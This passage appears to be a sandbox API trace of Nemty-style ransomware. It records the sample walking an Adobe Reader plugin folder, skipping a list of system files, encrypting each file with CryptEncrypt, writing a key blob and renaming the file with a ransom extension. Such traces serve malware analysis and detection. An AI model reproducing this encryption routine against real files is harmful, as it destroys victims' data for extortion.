pszString="9DXN06zjPa6ODX8x6WJS1e9KKy9Rc+zQdyfvwv9w4bDJRkyPg8GuLeCHrCLtQBda\r\ndZHd6n5J5TPbOPxOiWLoELnCbnKcEYrBHCsLiLE6sQbeIgAykFzWFVT/UU6xvyCr\r\n45QWULUpW4Ni3qrEtAlJR5gEPkJ2ZnQhblhAKkkemabow13SYvquePCnrhXXMPdh\r\n/2W3sMQAW+LNkDBYDLP+4QfHWCRkHDO/0judjMK5ocSuYFS+5rDO0y/e/7N36/cB\r\nCTutNsyVoJE1BFU9HyCxxHsYPmElFF7h37ac8tY2X7oPXPuJq4T+KJVQ8HoopmCt\r\nwiPd7BtNvSuK69L0F17UkA==\r\n", pcchString=0x653e29c) returned 1 [0191.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0191.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0191.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.270] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.271] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0191.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0191.271] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.271] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0191.272] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.273] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0191.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0191.273] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0191.273] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340260*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340260*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.273] CloseHandle (hObject=0x2f0) returned 1 [0191.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0191.273] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.273] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0191.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0191.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0191.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.273] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.CHT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.cht._nemty_kgobjgd_")) returned 1 [0191.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0191.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0191.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0191.274] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d68aea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="QuickTime.DAN", cAlternateFileName="QUICKT~1.DAN")) returned 1 [0191.274] lstrcmpiW (lpString1="QuickTime.DAN", lpString2=".") returned 1 [0191.274] lstrcmpiW (lpString1="QuickTime.DAN", lpString2="..") returned 1 [0191.274] lstrcmpiW (lpString1="QuickTime.DAN", lpString2="...") returned 1 [0191.274] lstrcmpiW (lpString1="QuickTime.DAN", lpString2="windows") returned -1 [0191.274] lstrcmpiW (lpString1="QuickTime.DAN", lpString2="$RECYCLE.BIN") returned 1 [0191.274] lstrcmpiW (lpString1="QuickTime.DAN", lpString2="rsa") returned -1 [0191.274] lstrcmpiW (lpString1="QuickTime.DAN", lpString2="NTDETECT.COM") returned 1 [0191.274] lstrcmpiW (lpString1="QuickTime.DAN", lpString2="ntldr") returned 1 [0191.274] lstrcmpiW (lpString1="QuickTime.DAN", lpString2="MSDOS.SYS") returned 1 [0191.274] lstrcmpiW (lpString1="QuickTime.DAN", lpString2="IO.SYS") returned 1 [0191.274] lstrcmpiW (lpString1="QuickTime.DAN", lpString2="boot.ini") returned 1 [0191.274] lstrcmpiW (lpString1="QuickTime.DAN", lpString2="boot.ini") returned 1 [0191.274] lstrcmpiW (lpString1="QuickTime.DAN", lpString2="AUTOEXEC.BAT") returned 1 [0191.274] lstrcmpiW (lpString1="QuickTime.DAN", lpString2="ntuser.dat") returned 1 [0191.274] lstrcmpiW (lpString1="QuickTime.DAN", lpString2="desktop.ini") returned 1 [0191.274] lstrcmpiW (lpString1="QuickTime.DAN", lpString2="CONFIG.SYS") returned 1 [0191.275] lstrcmpiW (lpString1="QuickTime.DAN", lpString2="RECYCLER") returned -1 [0191.275] lstrcmpiW (lpString1="QuickTime.DAN", lpString2="BOOTSECT.BAK") returned 1 [0191.275] lstrcmpiW (lpString1="QuickTime.DAN", lpString2="bootmgr") returned 1 [0191.275] lstrcmpiW (lpString1="QuickTime.DAN", lpString2="programdata") returned 1 [0191.275] lstrcmpiW (lpString1="QuickTime.DAN", lpString2="appdata") returned 1 [0191.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.275] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.DAN", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.275] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.DAN", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.DAN", lpUsedDefaultChar=0x0) returned 13 [0191.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.275] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.DAN", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.275] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.DAN", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.DAN", lpUsedDefaultChar=0x0) returned 13 [0191.275] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.275] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.275] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.DAN", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.275] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.DAN", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.DAN", lpUsedDefaultChar=0x0) returned 13 [0191.275] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.275] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.DAN", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.275] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.DAN", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.DAN", lpUsedDefaultChar=0x0) returned 13 [0191.275] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0191.275] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0191.275] Sleep (dwMilliseconds=0x5) [0191.285] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25a960f0, dwHighDateTime=0x1d561e8)) [0191.285] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25a960f0, dwHighDateTime=0x1d561e8)) [0191.285] GetLastError () returned 0x0 [0191.285] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.285] GetLastError () returned 0x0 [0191.285] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.285] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.285] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.285] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.285] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.285] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0191.286] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e29c | out: pszString="gBYwMaI9s9cjs66HqTjuM2w4q3+DLcPRTmP6b4T4Q+/+9Pn7nGRvdMj9o+vXRUWh\r\nRzL8kcFZNLXX0r44wE+AMXak15dsmZrDo7M3yS5yFMArzTUJ1eRv9AkuCk2jMDW7\r\nz6dwDmJeI9fXgYOdjxrYFbc8d4D/NpX6hpGV1QHBTDrh5VaAaZX5Y4HMYsRY2bbD\r\nJqAx5+p1WLa+dUl8qJ6fpnFKnkXA9CIgVghtV7U0ig/rLfWJW6AhJxT/ICtR6gB0\r\nRo73anhMcAfAObhQEo7PLD2ddINjHkQcnhkIxxJKm2Na0MCU3xaLU9qAHeA8MSuF\r\nOZG1xgwFLLhvoB0hFykNIQ==\r\n", pcchString=0x653e29c) returned 1 [0191.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0191.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0191.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.286] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.286] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0191.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0191.286] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.286] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0191.288] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.288] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0191.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0191.288] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0191.288] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340260*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340260*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.288] CloseHandle (hObject=0x2f0) returned 1 [0191.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0191.288] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.288] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0191.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0191.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0191.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.289] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.DAN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.dan._nemty_kgobjgd_")) returned 1 [0191.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0191.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0191.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.289] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d749580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="QuickTime.DEU", cAlternateFileName="QUICKT~1.DEU")) returned 1 [0191.289] lstrcmpiW (lpString1="QuickTime.DEU", lpString2=".") returned 1 [0191.289] lstrcmpiW (lpString1="QuickTime.DEU", lpString2="..") returned 1 [0191.289] lstrcmpiW (lpString1="QuickTime.DEU", lpString2="...") returned 1 [0191.290] lstrcmpiW (lpString1="QuickTime.DEU", lpString2="windows") returned -1 [0191.290] lstrcmpiW (lpString1="QuickTime.DEU", lpString2="$RECYCLE.BIN") returned 1 [0191.290] lstrcmpiW (lpString1="QuickTime.DEU", lpString2="rsa") returned -1 [0191.290] lstrcmpiW (lpString1="QuickTime.DEU", lpString2="NTDETECT.COM") returned 1 [0191.290] lstrcmpiW (lpString1="QuickTime.DEU", lpString2="ntldr") returned 1 [0191.290] lstrcmpiW (lpString1="QuickTime.DEU", lpString2="MSDOS.SYS") returned 1 [0191.290] lstrcmpiW (lpString1="QuickTime.DEU", lpString2="IO.SYS") returned 1 [0191.290] lstrcmpiW (lpString1="QuickTime.DEU", lpString2="boot.ini") returned 1 [0191.290] lstrcmpiW (lpString1="QuickTime.DEU", lpString2="boot.ini") returned 1 [0191.290] lstrcmpiW (lpString1="QuickTime.DEU", lpString2="AUTOEXEC.BAT") returned 1 [0191.290] lstrcmpiW (lpString1="QuickTime.DEU", lpString2="ntuser.dat") returned 1 [0191.290] lstrcmpiW (lpString1="QuickTime.DEU", lpString2="desktop.ini") returned 1 [0191.290] lstrcmpiW (lpString1="QuickTime.DEU", lpString2="CONFIG.SYS") returned 1 [0191.290] lstrcmpiW (lpString1="QuickTime.DEU", lpString2="RECYCLER") returned -1 [0191.290] lstrcmpiW (lpString1="QuickTime.DEU", lpString2="BOOTSECT.BAK") returned 1 [0191.290] lstrcmpiW (lpString1="QuickTime.DEU", lpString2="bootmgr") returned 1 [0191.290] lstrcmpiW (lpString1="QuickTime.DEU", lpString2="programdata") returned 1 [0191.290] lstrcmpiW (lpString1="QuickTime.DEU", lpString2="appdata") returned 1 [0191.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.290] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.DEU", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.290] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.DEU", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.DEU", lpUsedDefaultChar=0x0) returned 13 [0191.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.290] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.DEU", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.290] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.DEU", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.DEU", lpUsedDefaultChar=0x0) returned 13 [0191.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.290] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.DEU", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.290] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.DEU", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.DEU", lpUsedDefaultChar=0x0) returned 13 [0191.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.290] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.DEU", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.290] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.DEU", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.DEU", lpUsedDefaultChar=0x0) returned 13 [0191.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0191.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0191.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0191.291] Sleep (dwMilliseconds=0x5) [0191.301] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25abc250, dwHighDateTime=0x1d561e8)) [0191.301] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25abc250, dwHighDateTime=0x1d561e8)) [0191.301] GetLastError () returned 0x0 [0191.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, 